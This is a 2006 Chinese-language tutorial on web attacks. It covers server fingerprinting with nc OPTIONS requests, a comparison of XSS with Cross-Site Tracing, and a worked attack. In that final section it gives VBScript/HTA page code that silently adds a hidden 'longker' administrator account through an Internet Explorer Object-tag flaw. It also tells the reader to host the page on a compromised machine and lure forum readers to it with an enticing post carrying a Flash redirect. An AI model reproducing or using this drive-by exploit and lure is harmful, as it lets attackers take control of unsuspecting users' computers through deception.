浅谈Web攻击
来源:互联摘选 日期:2006-03-31 14:21
尽管现在的安全状况比几年前好了很多,但是很多的站点仍然存在着很多易受攻击的漏洞。通过IPSec阻止对端口的访问、给系统打上最新的补丁并没有阻挡黑客的攻击,这样反而使他们找到了更多的方法来攻陷系统,而首先他们注意的往往是你的web应用程序。
问题是即使你有很多的专家来加强你网络的安全,但是你还是要依赖web应用程序开发者来加强你的web安全。他们是否能够阻止狡猾黑客的攻击?是否有足够的能力来阻止一个只读了SQL Injection入侵指南的“脚本小子”?因此越来越多的人现在怀疑web应用程序的代码并不象意想的那样安全。本文将针对web安全讲以下三个方面:1是web服务器指纹鉴定;2是跨站脚本技术;3是实例讲解。
一:web服务器指纹鉴定
一般我们来简单的辨别主机运行的web服务器版本的的方法是:telnet到该主机的80端口,然后发送get命令,比如下面的例子:
C:\telnet www.longker.com 80
Get
HTTP/1.1 400 Bad Request
Server: Microsoft-IIS/5.0
Date: Fri, 05 Sep 2003 02:57:39 GMT
Content-Type: text/html
Content-Length: 87
<html><head><title>Error</title></head><body>The parameter is incorrect. </body>
</html>
注意到黑体的那行没有,很清楚的告诉我们运行的web服务器版本是Microsoft-IIS/5.0。读者或许问了,那么我们能否得到更多的信息呢?不同的web服务器版本信息有什么不同?还是来看例子,通过例子大家应该清楚的发现一些东西。这里我们需要用到“瑞士军刀”---NetCat,当然你也可以使用Windows的Telnet来实现的,主要使用的参数是“Options * http/1.1”,网址均以www.target.com 代替,请意黑体部分。
1:IIS4.0
好象目前使用IIS4.0的已经不多了,好不容易找到一个。下面来实验:
sh-2.05b# nc www.target.com 80 //输入后回车(下同)
OPTIONS * HTTP/1.1 //输入后回车(下同)
Host:www.target.com //输入后回车 如果没有出现信息 多按几次(下同)
HTTP/1.1 200 OK
Server: Microsoft-IIS/4.0
Date: Fri, 05 Sep 2003 02:13:48 GMT
Public: OPTIONS, TRACE, GET, HEAD, POST, PUT, DELETE
Content-Length: 0
2:IIS5.0
下面是IIS5.0的,你会得到更多的信息:
sh-2.05b# nc www.target.com 80
OPTIONS * HTTP/1.1
Host:www.target.com
HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Fri, 05 Sep 2003 02:00:24 GMT
Content-Length: 0
Accept-Ranges: bytes
DASL: <DAV:sql>
DAV: 1, 2
Public: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH
Allow: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH
Cache-Control: private
下面我们就可以来做个比较,相信你能发现IIS4.0和IIS5.0的不同。
IIS4.0--- Public: OPTIONS, TRACE, GET, HEAD, POST, PUT, DELETE
IIS5.0--- Public: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH
我们再来看看web服务器的另一巨头—-Apache,它是最流行的web服务器之一。快速、可靠、可通过简单的API扩展,Perl/Python解释器可被编译到服务器中,完全免费,完全源代码开放。
3:Apache1.3.x
这里我们是选择运行在*nix的Apache为例
sh-2.05b# nc www.target.com 80
OPTIONS * HTTP/1.1
Host:www.target.com
HTTP/1.1 200 OK
Date: Fri, 05 Sep 2003 02:04:47 GMT
Server: Apache/1.3.27 (Unix) PHP/4.2.3
Content-Length: 0
Allow: GET, HEAD, OPTIONS, TRACE
4:Apache2.0.x
sh-2.05b# nc www.target.com 80
OPTIONS * HTTP/1.1
Host:www.target.com
HTTP/1.1 200 OK
Date: Fri, 05 Sep 2003 02:08:45 GMT
Server: Apache/2.0.40 (Red Hat Linux)
Allow: GET,HEAD,POST,OPTIONS,TRACE
Content-Length: 0
Content-Type: text/plain; charset=ISO-8859-1
我们再来比较一下,我们也能清楚的比较出不同:
Apache 1.3.x-- Allow: GET, HEAD, OPTIONS, TRACE
Apache 2.0.x-- Allow: GET,HEAD,POST,OPTIONS,TRACE
看到了吧,如果远程主机允许Options *参数并且没有什么出入的话,得到的信息已经足够让我们判别流行web服务器的版本了。当然这还是不够的,我们还可以通过web服务器自己特定的一些响应消息以及web服务器的状态信息来进行判别,或者是结合扫描器(Nmap等)来判别。
二:跨站攻击
我们现在提到的跨站脚本(Cross-Site Scripting)一般是指在远程WEB页面的html代码中插入的具有恶意目的的数据,用户认为该页面是可信赖的,但是当浏览器下载该页面,嵌入其中的脚本将被解释执行,有时候跨站脚本被称为“XSS”,这是因为“CSS”一般被称为分层样式表,这很容易让人困惑,如果你听某人提到CSS或者XSS安全漏洞,通常指得是跨站脚本。这里我们将引入一个新的东西,那就是XST,或者是CST(Cross-Site Tracing)。
读者问了,你引入这个东西,是不是它能做XSS不能做的?是不是更有危害性?确实是这样的,XST可以绕过一般的http验证以及NTLM验证,这个是否让你更有兴趣?为了清楚的让你知道两者的不同,我们来做个比较。
⑴:发起条件的不同
1:XSS
需要存在跨站脚本漏洞的web应用程序,比如asp、cgi、php等;
需要用户点击连接或者是访问某一页面,比如动网的flash标签跨站漏洞;
2:XST
需要目标web服务器允许Trace参数;看上面的实验就知道了,流行的web服务器均支持该参数!
IIS4.0--- Public: OPTIONS, TRACE, GET, HEAD, POST, PUT, DELETE
IIS5.0--- Public: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH
Apache 1.3.x-- Allow: GET, HEAD, OPTIONS, TRACE
Apache 2.0.x-- Allow: GET,HEAD,POST,OPTIONS,TRACE
需要一个用来存放XST代码的地方;
还有一个是该站点存在跨域漏洞。
⑵:发起方式的不同
1:XSS
攻击者将恶意代码嵌入访问者将要访问的页面或者是提供一个连接到恶意代码的连接给访问者,访问者浏览该恶意内容或者是点击该连接,恶意代码将访问者的cookie收集起来进行cookie欺骗,或者是在访问者的电脑执行程序,比如后门木马或者是在系统上添加管理员帐户。举个例子就是利用IE的Object漏洞并结合动网flash标签或者是wdb论坛的img标签跨站漏洞进行攻击。我们将在后面介绍利用IE新漏洞的跨站脚本攻击。
2:XST
攻击者将恶意代码嵌入一台已经被控制的主机上的web文件,当访问者浏览时恶意代码在浏览器中执行,然后访问者的cookie、http基本验证以及ntlm验证信息将被发送到已经被控制的主机,同时传送Trace请求给目标主机,导致cookie欺骗或者是中间人攻击。举个例子就是前一阵研究的比较多的smbrelay,也是通过这样的方法来实现的。具体可以去参看相关文章和动画教程,网上很多。
相同的是XST和XSS攻击都具有很大的欺骗性,可以对受害主机产生危害,而且这种攻击是多平台多技术的,我们还可以利用Active控件、Flash、Java等来进行XST和XSS攻击。
三:实例讲解
因为网上关于XST中的Smbrelay攻击的文章很多,因此我们这里主要讲下一种比较新的XSS攻击,结合的是IE最新的Object漏洞。这次IE的漏洞级别很高,可以执行攻击者指定的命令,下面我们来看看具体的漏洞描述:
由于Internet Explorer在处理对象标记时没有正确处理要被装载的文件参数,因此远程攻击者可以利用这个漏洞构建恶意页面,诱使用户访问,使用户IE自动运行嵌入到HTML的任意代码。这个主要是由IE的“Object”引起的,“Object”标记用于插入ActiveX组件等对象到HTML页面。“Object”标记的“Type”属性用于设置或获取对象的MIME类型。通常合法MIME类型包括“plain/text”或“application/hta”, “audio/x-mpeg”等。指定远程对象数据位置的参数没有充分检查被装载的文件属性,攻击者可以构建恶意页面,诱使用户访问来运行恶意页面指定的程序。
由于Windows 2003的IE使用了“Enhanced Security Configuration Mode”模式,默认是禁止了 ActiveX控件的,因此此漏洞在Windows 2003 IE级别为中等。
漏洞描述中,我们得到的信息是我们可以修改MIME映射,然后构建恶意网页诱使用户上当,进而在用户主机上执行事先设置好的指令。如何诱使访问者上当呢?我们不可能把地址傻傻的发给他们,毕竟现在大家都是有一定的安全意识的。那么怎么做?由于动网的flash标签存在漏洞,可以引起跨站攻击,导致用户被引向恶意网页,而这个漏洞的利用方法又很简单,而且效果很好。我们可以在论坛里发个比较有诱惑性的帖子来实现欺骗,让用户去看我们事先设计好的Flash,然后会被带到我们放了恶意代码的网页,接下来,呵呵,不知不觉的就执行了我们的指令,这当然比傻傻的发个网址给他们来的好吧?具体怎么实现,看下文。
我们先来设计含有恶意指令的网页,做网页之前需要在自己的肉鸡上修改IIS的映射,打开IIS管理器,看站点的属性,切换到“Http头”项,这里有个MIME映射项,点“文件类型”,出现窗口,点“新类型”,好了,“关键扩展名”里填“.mm”,当然你也可以指定其他的;“内容类型”里填“application/hta”,按确认成功添加。
下面来构建网页,先建立test.htm,源文件如下:
<html>
<object data="mm.mm">
</object>
</html>
这里有个mm.mm,你也可以换成别的,注意的是.mm后缀必须与你在MIME映射里设置的一样。我们的目的是是想在被攻击者的系统里添加一个用户名是longker,密码是hacker的管理员帐户,代码是这样的:
<html>
<object id=wsh classid=clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B></object>
<script language=vbscript>
set wshshell=createobject ("wscript.shell" )
a=wshshell.run ("cmd.exe /c net user longker hacker /add",0)
b=wshshell.run ("cmd.exe /c net localgroup Administrators longker /add",0)
window.close
</script>
</html>
好了,这样我们就把恶意网页构建好了,当然为了增加迷惑性,最好把这个页面设计的好点,讲点爱情故事什么的,看你的想象力了。接下来就是让人来上勾了,这里我们就用动网的Flash标签跨站漏洞来实现。如何使Flash文件运行后引向我们设计的网页呢?看下面:
新建一个Flash,然后选中第一帧点击右键,选择“动作”,找到“浏览器/网络”下的“GetUrl”,双击,在“URL”里输入我们在肉鸡上建立的恶意网页的地址,比如是http://127.0.0.1/test.htm,这里当然是要根据实际情况来的。
存为test.swf,也放到肉鸡上,比如地址是http://127.0.0.1/test.swf,OK,一切已经做好了,去找个没有打补丁的论坛发个帖子吧,标题写得充满诱惑力点,比如“我的爱情故事”,内容是:
[flash=500,350]http://127.0.0.1/test.swf[/flash]
提交后,浏览者首先被Flash文件带到我们的恶意网页,然后就指令了我们的指令。因此只要浏览此页面并且没有打该补丁的win2k/xp/nt的用户,就会在他的系统里建立我们设置的管理员帐户,可怕吧?
当然,除了Flash标签外,我们还可以用其他的办法来实现,比如img标签等。